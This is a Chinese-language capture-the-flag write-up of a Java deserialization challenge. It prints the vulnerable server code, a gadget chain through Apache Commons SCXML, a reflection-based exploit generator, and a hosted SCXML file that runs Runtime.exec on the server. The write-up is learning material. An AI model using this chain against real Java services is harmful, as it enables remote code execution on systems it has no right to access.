byteCTF2024-scxml 入门代码审计,有一些比较;
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class Main { public static void main (String[] args) throws IOException { var port = Integer.parseInt(System.getenv().getOrDefault("PORT" , "8000" )); var server = HttpServer.create(new java .net.InetSocketAddress(port), 0 ); server.createContext("/" , req -> { var code = 200 ; var response = switch (req.getRequestURI().getPath()) { case "/scxml" -> { try { var param = req.getRequestURI().getQuery(); yield new java .io.ObjectInputStream(new java .io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString(); } catch (Throwable e) { e.printStackTrace(); yield ":(" ; } } default -> { code = 404 ; yield "Not found" ; } }; req.sendResponseHeaders(code, 0 ); var os = req.getResponseBody(); os.write(response.getBytes()); os.close(); }); server.start(); System.out.printf("Server listening on :%s\n" , port); } }
把你传进去的任何 base64 解码之后进行反序列化;
依赖 四个依赖:
com.n1ght
是出题人留的一定会用,还给了 hint 是一个链接,内容是 commons scxml 这个依赖的一种打法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import org.apache.commons.scxml2.SCXMLExecutor;import org.apache.commons.scxml2.io.SCXMLReader;import org.apache.commons.scxml2.model.ModelException;import org.apache.commons.scxml2.model.SCXML;import javax.xml.stream.XMLStreamException;import java.io.IOException;public class SCXMLDemo { public static void main (String[] args) throws ModelException, XMLStreamException, IOException { SCXMLExecutor executor = new SCXMLExecutor (); SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/poc.xml" ); executor.setStateMachine(scxml); executor.go(); } }
好吧也不能算是打法,只是告诉你这个东西能执行远程代码,还需要起 http 服务挂一个 xml:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <state id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('open -a calculator' )</script > </onentry > </state > </scxml >
直接找链子即可,入口点给的很明显了,在 com.n1ght.InvokerImpl
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class InvokerImpl implements Serializable { private final Invoker o; private final String source; private final Map params; public InvokerImpl (Invoker o, String source, Map params) { this .o = o; this .source = source; this .params = params; } public String toString () { try { this .o.invoke(this .source, this .params); return "success invoke" ; } catch (InvokerException var2) { throw new RuntimeException (var2); } } }
这里重写的 toString()
结合 Main.java 的:
1 java.io.ObjectInputStream(new java .io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString()
很适合作为反序列化的入口点,往下触发 o.invoke()
,进 Invoker
,只有 SimpleSCXMLInvoker
一个实现,看一下 Invoker#invoke()
这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 private static final long serialVersionUID = 1L ; private String parentStateId; private String eventPrefix; private SCInstance parentSCInstance; private SCXMLExecutor executor; private boolean cancelled; private static String invokePrefix = ".invoke." ; private static String invokeDone = "done" ; private static String invokeCancelResponse = "cancel.response" ; public SimpleSCXMLInvoker () { } public void invoke (String source, Map<String, Object> params) throws InvokerException { SCXML scxml = null ; try { scxml = SCXMLReader.read(new URL (source)); } catch (ModelException var9) { throw new InvokerException (var9.getMessage(), var9.getCause()); } catch (IOException var10) { throw new InvokerException (var10.getMessage(), var10.getCause()); } catch (XMLStreamException var11) { throw new InvokerException (var11.getMessage(), var11.getCause()); } Evaluator eval = this .parentSCInstance.getEvaluator(); this .executor = new SCXMLExecutor (eval, new SimpleDispatcher (), new SimpleErrorReporter ()); Context rootCtx = eval.newContext((Context)null ); Iterator var6 = params.entrySet().iterator(); while (var6.hasNext()) { Map.Entry<String, Object> entry = (Map.Entry)var6.next(); rootCtx.setLocal((String)entry.getKey(), entry.getValue()); } this .executor.setRootContext(rootCtx); this .executor.setStateMachine(scxml); this .executor.addListener(scxml, new SimpleSCXMLListener ()); this .executor.registerInvokerClass("scxml" , this .getClass()); try { this .executor.go(); } catch (ModelException var8) { throw new InvokerException (var8.getMessage(), var8.getCause()); } if (this .executor.getCurrentStatus().isFinal()) { TriggerEvent te = new TriggerEvent (this .eventPrefix + invokeDone, 3 ); (new AsyncTrigger (this .parentSCInstance.getExecutor(), te)).start(); } }
结合 hint 容易知道 this.executor.go()
能执行参数 source
里 <script>
包含的 Java 代码(JEXL 短表达式 ),但创建出来这个类里很多属性默认是 null
,需要动手设置一下;
这里 executor
直到 this.executor.go()
之前调用了 this.parentSCInstance.getEvaluator()
,这提出了四点要求:
实例化一个 SCXMLExecutor
,进而实例化一个 SCInstance
;
实例化一个 Evaluator
;
设置 this.parentSCInstance
为实例化出来的 SCInstance
;
this.parentSCInstance.setEvaluator()
;
其中,SCInstance(Executor)
为 protected
构造方法,exp 中需要反射调用;
this.parentSCInstance.setEvaluator()
也为 protected
方法,也需要反射调用;
Evaluator
有好四种,根据 <script>
执行的语句为 Java 判断传入 JexlEvaluator
,事实上别的类也用不了;
解 首先将恶意的 xml 挂在一个 http 服务上,我使用简单的 httpd 起镜像:
1 docker run -d -p 8081 :80 httpd:2.4 .62 -bookworm
进入文件系统将 /usr/local/apache2/htdocs/index.html
改为 exp xml 内容:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <state id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('calc' )</script > </onentry > </state > </scxml >
运行完整 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import com.n1ght.InvokerImpl;import org.apache.commons.scxml2.Evaluator;import org.apache.commons.scxml2.SCInstance;import org.apache.commons.scxml2.SCXMLExecutor;import org.apache.commons.scxml2.env.jexl.JexlEvaluator;import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Exploit { public static void main (String[] args) throws Exception { System.out.println(new Exploit ().getPayload()); } private String getPayload () throws Exception { SCXMLExecutor scxmlExecutor = new SCXMLExecutor (); Constructor scInstanceConstructor = SCInstance.class.getDeclaredConstructors()[0 ]; scInstanceConstructor.setAccessible(true ); SCInstance scInstance = (SCInstance) scInstanceConstructor.newInstance(scxmlExecutor); JexlEvaluator jexlEvaluator = new JexlEvaluator (); Method setEvalMethod = SCInstance.class.getDeclaredMethod("setEvaluator" , Evaluator.class); setEvalMethod.setAccessible(true ); setEvalMethod.invoke(scInstance, jexlEvaluator); SimpleSCXMLInvoker invoker = new SimpleSCXMLInvoker (); invoker.setSCInstance(scInstance); Map<String, Object> map = new HashMap <>(); InvokerImpl payload = new InvokerImpl (invoker, "http://localhost:8081/" , map); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream ois = new ObjectOutputStream (bos); ois.writeObject(payload); return new String (Base64.getEncoder().encode(bos.toByteArray())); } }
传参:
弹出计算器,本地通;
求甚解 把 JexlEvaluator
的构造方法看成了 protected
,想,如果这个 evaluator
使用者实例化不了那这个库是干什么用的;
这样题反射也能出,想起来学区块链 web3.js
读 public
变量也非要用 getStorageAt()
了,某种强迫症;
言归正传,一直在想这个库到底有什么用,乱看了一晚上,觉忘记睡了,刚刚上早八发现 JexlEvaluator()
是公有的;
我也不知道学习安全的该不该想这么多,事实上每次这样纠结很久最后都会发现自己是错的,而且得出的总是很浅显的结论;
但其实和 IDEA 大眼瞪小眼一整夜,收获也不能说是完全没有。